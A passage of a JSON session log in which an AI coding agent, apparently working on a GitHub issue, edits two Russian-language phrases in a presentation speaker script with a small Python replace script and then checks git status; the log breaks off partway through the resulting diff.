[STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:56:17.150Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:56:17.240Z] [STDOUT]   \"cf-ray\": \"a4296e27996c5d90-FRA\",\n[2026-09-29T07:56:17.247Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:56:17.257Z] [STDOUT] [log_6dc7b4] response parsed {\n[2026-09-29T07:56:17.259Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:17.261Z] [STDOUT]   status: 200,\n[2026-09-29T07:56:17.263Z] [STDOUT]   body: X {\n[2026-09-29T07:56:17.264Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:56:17.266Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:56:17.267Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:56:17.269Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:56:17.272Z] [STDOUT]     },\n[2026-09-29T07:56:17.273Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:56:17.276Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:56:17.277Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:56:17.280Z] [STDOUT]   },\n[2026-09-29T07:56:17.283Z] [STDOUT]   durationMs: 883,\n[2026-09-29T07:56:17.284Z] [STDOUT] }\n[2026-09-29T07:56:17.368Z] [INFO] {\n[2026-09-29T07:56:17.368Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:17.368Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:17.368Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:56:17.368Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:17.368Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:17.368Z] [INFO]   \"uuid\": \"bd458ab9-934c-4456-a33a-c4c74edf9beb\"\n[2026-09-29T07:56:17.368Z] [INFO] }\n[2026-09-29T07:56:18.481Z] [INFO] {\n[2026-09-29T07:56:18.481Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:18.481Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:18.481Z] [INFO]   \"estimated_tokens\": 210,\n[2026-09-29T07:56:18.481Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:18.481Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:18.481Z] [INFO]   \"uuid\": \"0768566e-e4bd-47f0-8acd-043570152704\"\n[2026-09-29T07:56:18.481Z] [INFO] }\n[2026-09-29T07:56:18.485Z] [INFO] {\n[2026-09-29T07:56:18.485Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:56:18.485Z] [INFO]   \"message\": {\n[2026-09-29T07:56:18.485Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:56:18.485Z] [INFO]     \"id\": \"msg_011CfXNamkASR6seCMhTXtaH\",\n[2026-09-29T07:56:18.485Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:56:18.485Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:56:18.485Z] [INFO]     \"content\": [\n[2026-09-29T07:56:18.485Z] [INFO]       {\n[2026-09-29T07:56:18.485Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:56:18.485Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:56:18.485Z] [INFO]         \"signature\": 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[INFO]       }\n[2026-09-29T07:56:18.485Z] [INFO]     ],\n[2026-09-29T07:56:18.485Z] [INFO]     \"container\": null,\n[2026-09-29T07:56:18.485Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:56:18.485Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:56:18.485Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:56:18.485Z] [INFO]     \"usage\": {\n[2026-09-29T07:56:18.485Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:56:18.485Z] [INFO]       \"cache_creation_input_tokens\": 1129,\n[2026-09-29T07:56:18.485Z] [INFO]       \"cache_read_input_tokens\": 60807,\n[2026-09-29T07:56:18.485Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:56:18.485Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:56:18.485Z] [INFO]         \"ephemeral_1h_input_tokens\": 1129\n[2026-09-29T07:56:18.485Z] [INFO]       },\n[2026-09-29T07:56:18.485Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:56:18.485Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:56:18.485Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:56:18.485Z] [INFO]     },\n[2026-09-29T07:56:18.485Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:56:18.485Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:56:18.485Z] [INFO]     \"context_management\": null\n[2026-09-29T07:56:18.485Z] [INFO]   },\n[2026-09-29T07:56:18.485Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:18.485Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:18.485Z] [INFO]   \"uuid\": \"85a3c2e0-ce35-4027-ae89-57db3fc962fd\",\n[2026-09-29T07:56:18.485Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:18.480Z\",\n[2026-09-29T07:56:18.485Z] [INFO]   \"request_id\": \"req_011CfXNam7i9nWEgywLpcZW4\"\n[2026-09-29T07:56:18.485Z] [INFO] }\n[2026-09-29T07:56:18.493Z] [INFO] {\n[2026-09-29T07:56:18.493Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:56:18.493Z] [INFO]   \"message\": {\n[2026-09-29T07:56:18.493Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:56:18.493Z] [INFO]     \"id\": \"msg_011CfXNamkASR6seCMhTXtaH\",\n[2026-09-29T07:56:18.493Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:56:18.493Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:56:18.493Z] [INFO]     \"content\": [\n[2026-09-29T07:56:18.493Z] [INFO]       {\n[2026-09-29T07:56:18.493Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:56:18.493Z] [INFO]         \"text\": \"Verified: T-1 (closed taxonomy) and G5 as the human gate. Tightening two phrases to match the sources:\"\n[2026-09-29T07:56:18.493Z] [INFO]       }\n[2026-09-29T07:56:18.493Z] [INFO]     ],\n[2026-09-29T07:56:18.493Z] [INFO]     \"container\": null,\n[2026-09-29T07:56:18.493Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:56:18.493Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:56:18.493Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:56:18.493Z] [INFO]     \"usage\": {\n[2026-09-29T07:56:18.493Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:56:18.493Z] [INFO]       \"cache_creation_input_tokens\": 1129,\n[2026-09-29T07:56:18.493Z] [INFO]       \"cache_read_input_tokens\": 60807,\n[2026-09-29T07:56:18.493Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:56:18.493Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:56:18.493Z] [INFO]         \"ephemeral_1h_input_tokens\": 1129\n[2026-09-29T07:56:18.493Z] [INFO]       },\n[2026-09-29T07:56:18.493Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:56:18.493Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:56:18.493Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:56:18.493Z] [INFO]     },\n[2026-09-29T07:56:18.493Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:56:18.493Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:56:18.493Z] [INFO]     \"context_management\": null\n[2026-09-29T07:56:18.493Z] [INFO]   },\n[2026-09-29T07:56:18.493Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:18.493Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:18.493Z] [INFO]   \"uuid\": \"31818e9c-8cbd-46e4-a737-56fe2877dbb3\",\n[2026-09-29T07:56:18.493Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:18.482Z\",\n[2026-09-29T07:56:18.493Z] [INFO]   \"request_id\": \"req_011CfXNam7i9nWEgywLpcZW4\"\n[2026-09-29T07:56:18.493Z] [INFO] }\n[2026-09-29T07:56:21.931Z] [INFO] {\n[2026-09-29T07:56:21.931Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:56:21.931Z] [INFO]   \"message\": {\n[2026-09-29T07:56:21.931Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:56:21.931Z] [INFO]     \"id\": \"msg_011CfXNamkASR6seCMhTXtaH\",\n[2026-09-29T07:56:21.931Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:56:21.931Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:56:21.931Z] [INFO]     \"content\": [\n[2026-09-29T07:56:21.931Z] [INFO]       {\n[2026-09-29T07:56:21.931Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:56:21.931Z] [INFO]         \"id\": \"toolu_01GFgEY5eVXxKiysgncR65Ga\",\n[2026-09-29T07:56:21.931Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:56:21.931Z] [INFO]         \"input\": {\n[2026-09-29T07:56:21.931Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation; F=2026-09-29-meta-model-presentation-speaker-script.md\\npython3 - \\\"$F\\\" <<'EOF'\\nimport sys\\nf=sys.argv[1]; t=open(f).read()\\nreps=[(\\\"\\\"\\\"- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430\\n  \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0438 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\\"\\\"\\\"),\\n(\\\"\\\"\\\"\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\\"\\\"\\\",\\n\\\"\\\"\\\"\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u0434\u043b\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442. \u0417\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b\\n\u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u043e\u0434 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\\n\u043d\u0451\u043c.\\\"\\\"\\\")]\\nfor a,b in reps:\\n    assert a in t,a; t=t.replace(a,b)\\nopen(f,'w').write(t)\\nEOF\\ncd /tmp/gh-issue-solver-1790667776920; git status --short; ls projects/ba-ai-process/docs/presentation; git show --stat HEAD | head\",\n[2026-09-29T07:56:21.931Z] [INFO]           \"description\": \"Apply wording fixes and check git state\"\n[2026-09-29T07:56:21.931Z] [INFO]         },\n[2026-09-29T07:56:21.931Z] [INFO]         \"caller\": {\n[2026-09-29T07:56:21.931Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:56:21.931Z] [INFO]         }\n[2026-09-29T07:56:21.931Z] [INFO]       }\n[2026-09-29T07:56:21.931Z] [INFO]     ],\n[2026-09-29T07:56:21.931Z] [INFO]     \"container\": null,\n[2026-09-29T07:56:21.931Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:56:21.931Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:56:21.931Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:56:21.931Z] [INFO]     \"usage\": {\n[2026-09-29T07:56:21.931Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:56:21.931Z] [INFO]       \"cache_creation_input_tokens\": 1129,\n[2026-09-29T07:56:21.931Z] [INFO]       \"cache_read_input_tokens\": 60807,\n[2026-09-29T07:56:21.931Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:56:21.931Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:56:21.931Z] [INFO]         \"ephemeral_1h_input_tokens\": 1129\n[2026-09-29T07:56:21.931Z] [INFO]       },\n[2026-09-29T07:56:21.931Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T07:56:21.931Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:56:21.931Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:56:21.931Z] [INFO]     },\n[2026-09-29T07:56:21.931Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:56:21.931Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:56:21.931Z] [INFO]     \"context_management\": null\n[2026-09-29T07:56:21.931Z] [INFO]   },\n[2026-09-29T07:56:21.931Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:21.931Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:21.931Z] [INFO]   \"uuid\": \"29e42782-3250-414c-b1ae-035cbe0e0856\",\n[2026-09-29T07:56:21.931Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:21.920Z\",\n[2026-09-29T07:56:21.931Z] [INFO]   \"request_id\": \"req_011CfXNam7i9nWEgywLpcZW4\",\n[2026-09-29T07:56:21.931Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:56:21.931Z] [INFO]     \"toolu_01GFgEY5eVXxKiysgncR65Ga\": {\n[2026-09-29T07:56:21.931Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation; F=2026-09-29-meta-model-presentation-speaker-script.md\\npython3 - \\\"$F\\\" <<'EOF'\\nimport sys\\nf=sys.argv[1]; t=open(f).read()\\nreps=[(\\\"\\\"\\\"- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\\n  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\\"\\\"\\\",\\n\\\"\\\"\\\"- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430\\n  \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0438 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\\"\\\"\\\"),\\n(\\\"\\\"\\\"\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u043d\u0435\u0442, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u043e\u043b\u043e\u0442\u043e\u0439 \u043d\u0430\u0431\u043e\u0440 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f\\n\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u0447\u0435\u0441\u043a\u0438. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430 \u043d\u0451\u043c.\\\"\\\"\\\",\\n\\\"\\\"\\\"\u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430\u043c\u0438: \u0447\u0438\u0441\u0442\u044b\u0445 \u043e\u0431\u0440\u0430\u0437\u0446\u043e\u0432 \u0434\u043b\u044f \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442. \u0417\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b\\n\u043f\u0430\u043a\u0435\u0442\u0430 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u043e\u0434 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442, \u043f\u043e\u0442\u043e\u043c \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435 \u043d\u0430\\n\u043d\u0451\u043c.\\\"\\\"\\\")]\\nfor a,b in reps:\\n    assert a in t,a; t=t.replace(a,b)\\nopen(f,'w').write(t)\\nEOF\\ncd /tmp/gh-issue-solver-1790667776920; git status --short; ls projects/ba-ai-process/docs/presentation; git show --stat HEAD | head\",\n[2026-09-29T07:56:21.931Z] [INFO]       \"description\": \"Apply wording fixes and check git state\"\n[2026-09-29T07:56:21.931Z] [INFO]     }\n[2026-09-29T07:56:21.931Z] [INFO]   }\n[2026-09-29T07:56:21.931Z] [INFO] }\n[2026-09-29T07:56:23.749Z] [INFO] {\n[2026-09-29T07:56:23.749Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:56:23.749Z] [INFO]   \"message\": {\n[2026-09-29T07:56:23.749Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:56:23.749Z] [INFO]     \"content\": [\n[2026-09-29T07:56:23.749Z] [INFO]       {\n[2026-09-29T07:56:23.749Z] [INFO]         \"tool_use_id\": \"toolu_01GFgEY5eVXxKiysgncR65Ga\",\n[2026-09-29T07:56:23.749Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:56:23.749Z] [INFO]         \"content\": \"?? projects/ba-ai-process/docs/presentation/\\n2026-09-29-meta-model-presentation-slides.md\\n2026-09-29-meta-model-presentation-speaker-script.md\\ncommit 611336aa85daea757b56bcbe7dbb14fdd0356d9f\\nAuthor: konard \\nDate:   Tue Sep 29 07:43:01 2026 +0000\\n\\n    Initial commit with task details\\n    \\n    Adding .gitkeep for PR creation (default mode).\\n    This file will be removed when the task is complete.\\n    \\n    Issue: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\",\n[2026-09-29T07:56:23.749Z] [INFO]         \"is_error\": false\n[2026-09-29T07:56:23.749Z] [INFO]       }\n[2026-09-29T07:56:23.749Z] [INFO]     ]\n[2026-09-29T07:56:23.749Z] [INFO]   },\n[2026-09-29T07:56:23.749Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:23.749Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:23.749Z] [INFO]   \"uuid\": \"f95ba019-5175-4655-b821-7713d231e611\",\n[2026-09-29T07:56:23.749Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:23.737Z\",\n[2026-09-29T07:56:23.749Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:56:23.749Z] [INFO]     \"stdout\": \"?? projects/ba-ai-process/docs/presentation/\\n2026-09-29-meta-model-presentation-slides.md\\n2026-09-29-meta-model-presentation-speaker-script.md\\ncommit 611336aa85daea757b56bcbe7dbb14fdd0356d9f\\nAuthor: konard \\nDate:   Tue Sep 29 07:43:01 2026 +0000\\n\\n    Initial commit with task details\\n    \\n    Adding .gitkeep for PR creation (default mode).\\n    This file will be removed when the task is complete.\\n    \\n    Issue: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\",\n[2026-09-29T07:56:23.749Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:56:23.749Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:56:23.749Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:56:23.749Z] [INFO]     \"noOutputExpected\": false,\n[2026-09-29T07:56:23.749Z] [INFO]     \"bashEditDiff\": {\n[2026-09-29T07:56:23.749Z] [INFO]       \"files\": [\n[2026-09-29T07:56:23.749Z] [INFO]         {\n[2026-09-29T07:56:23.749Z] [INFO]           \"filePath\": \"/tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\",\n[2026-09-29T07:56:23.749Z] [INFO]           \"hunks\": [\n[2026-09-29T07:56:23.749Z] [INFO]             {\n[2026-09-29T07:56:23.749Z] [INFO]               \"oldStart\": 181,\n[2026-09-29T07:56:23.749Z] [INFO]               \"oldLines\": 8,\n[2026-09-29T07:56:23.749Z] [INFO]               \"newStart\": 181,\n[2026-09-29T07:56:23.749Z] [INFO]               \"newLines\": 8,\n[2026-09-29T07:56:23.749Z] [INFO]               \"lines\": [\n[2026-09-29T07:56:23.749Z] [INFO]                 \" \",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" - \u0420\u0430\u0431\u043e\u0442\u0430 \u0440\u0430\u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0432\u0435\u0440\u0445\u0443 \u0432\u043d\u0438\u0437: **\u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u2192 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u2192 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2192\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"   \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442**. \u041f\u0440\u043e\u0446\u0435\u0441\u0441 \u0441\u043e\u0441\u0442\u043e\u0438\u0442 \u0438\u0437 \u043d\u0430\u0432\u044b\u043a\u043e\u0432, \u043d\u0430\u0432\u044b\u043a \u2014 \u0438\u0437 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439.\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"-- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0415\u0441\u043b\u0438 \u043d\u0443\u0436\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442, \u044d\u0442\u043e\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"-  \u043e\u0442\u043a\u0430\u0437 \u0438 \u0437\u0430\u0434\u0430\u0447\u0430 \u043d\u0430 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u0430 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"+- \u0421\u043b\u043e\u0432\u0430\u0440\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b: 33 \u043d\u0430\u0432\u044b\u043a\u0430, 31 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f \u2014 \u043e\u0442\u043a\u0430\u0437 \u043d\u0430\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"+  \u0432\u0445\u043e\u0434\u0435, \u0430 \u043d\u0435 \u043c\u043e\u043b\u0447\u0430\u043b\u0438\u0432\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 \u0438 \u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \" - \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"   \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\",\n[2026-09-29T07:56:23.749Z] [INFO]                 \"   \u0433\u0435\u0439\u0442 \u2014 